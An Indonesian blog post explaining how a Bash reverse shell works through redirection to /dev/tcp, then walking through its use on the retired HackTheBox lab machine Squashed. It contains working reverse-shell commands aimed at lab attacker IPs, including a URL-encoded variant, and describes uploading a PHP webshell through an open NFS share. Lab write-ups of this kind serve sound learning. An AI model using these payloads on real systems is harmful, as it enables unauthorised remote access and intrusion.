Kemarin saya gabut dan mencoba mengoprek htb, dan berhasil mendapatkan flag salah satu retired machine di HTB yaitu Squashed, tentu saja dengan melihat write up orang. Salah satu teknik menarik yang digunakan adalah Rerverse Shell ini.
Apa itu Reverse Shell?
Reverse Shell adalah teknik yang digunakan attacker untuk membuat session shell dan mengarahkan file descriptornya (stdin,stdout,stderr) ke koneksi socket attacker (tcp/udp). Reverse shell ini biasanya digunakan jika kita mendapati target machine yang memiliki vulnerability Remote Code Execution (RCE), pada vulnerability tersebut attacker bisa memasukan payload yang berisi command untuk membuka sesi shell dan mengarahkanya ke koneksi socket attacker.
Reverse Shell bisa juga digunakan jika machine target tidak reachable dari machine attacker atau incoming connection nya di block oleh firewall, dengan menggunakan teknik ini koneksi yang terjadi pada machine target adalah outgoing connection yang harusnya diijinkan oleh firewall.
Untuk membuka sesi Reverse Shell ini bisa menggunakan bahasa pemprograman apapun tergantung pada jenis command yang bisa dieksekusi oleh machine yang memiliki vulnerability RCE tersebut.
Bash Reverse Shell
Karena machine yang saya ulik kemarin bisa mengeksekusi bash maka yang akan saya bahas disini adalah Reverse Shell menggunakan Bash. Berikut command untuk membuat reverse shell pada bash.
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
Apakah anda melihat command dan operator yang tidak asing? oke saya bahas satu2.
bash -i
Perintah diatas akan membuka bash shell secara interactive seperti yang biasa kita gunakan di terminal.
Terlihat tidak terjadi apa2? sebenarnya command ini akan membuka sesi bash diatas sesi yang sebelumnya (parent bash procces). Jika kita exit
maka tidak keluar dari terminal melainkan akan kembali ke sesi bash sebelumnya.
>& /dev/tcp/10.10.10.10/443
Inti dari Bash Reverse Shell ini adalah “REDIRECTION”, iya benar seperti yang kamu pikirkan oprator >, >>, &>, 0>&1 dan seterusnya. >& /dev/tcp/10.10.10.10/443 akan meredirect stdout dan stderr bash ke socket connection. Untuk lebih jelasnya liat pada diagram di bawah ini
Without redirection (Normal interactive bash):
Stdout and stderr redirected to socket:
Mungkin kamu paham maksud dari >& yaitu untuk meredirect stdout dan stderr, tapi apa maksud /dev/tcp/10.10.10.10/443 ? Apakah ini file? bukan. Pada dokumentasi bash (kamu bisa membacanya dengan man bash
), tertulis bahwa redirection pada bash tidak sebatas ke file, ternyata bisa juga di redirect ke socket tcp maupun udp. Berikut cuplikan dokumentasinya:
0>&1
0>&1 (sama dengan 0<&1 atau <&1) akan menduplikasi fd 1 ke 0, fd 0 yang dibuat akan menunjuk ke resource yang sama seperti yang ditunjuk oleh fd 1 yaitu tcp socket. intinya redirection di atas akan meredirect stdin process bash ke tcp socket (yang sama dengan stdout dan stderr berada).
Pointing stdin to socket:
Bash Reverse Shell pada Live Machine
Disini saya akan menunjukan reverse pada machine Squashed di htb. Vulnerability awal pada machine ini adalah nfs yang bisa langsung dimount, lalu saya upload webshell p.php (script php ini akan mengeksekusi command pada parameter cmd) ke dalam nfs tersebut dan langsung bisa diakses di web server nya.
Saya mencoba memasukkan command id pada parameter cmd, dan dieksekusi oleh web server tersebut. Sekarang kita ekeskusi payload bash reverse shell, pertama2 saya buka dulu tcp socket pada port 443 (port bebas) di machine saya:
Berikut payloadnya
bash -c 'bash -i >& /dev/tcp/10.10.14.49/443 0>&1'
Oiya jangan lupa ubah encode url & menjadi %26, berikut hasil akhirnya:
bash -c 'bash -i >%26 /dev/tcp/10.10.14.49/443 0>%261'
lalu masukan payload tersebut di parameter cmd lalu eksekusi:
Kembali ke terminal dimana saya membuka tcp socker dengan nc, dan boom sekarang saya berhasil mendapat akses shell machine tersebut dengan teknik Bash Rerverse Shell, dan saya coba bisa menjalankan bash command seperti biasa.
Penutup
Mungkin sekian yang bisa saya tulis tentang pengalaman saya menggunakan Reverse Shell ini, jika terdapat part yang masih membingungkan bisa didiskusikan di komentar ataupun kontak pribadi saya. Sampa bertemu lagi, semoga.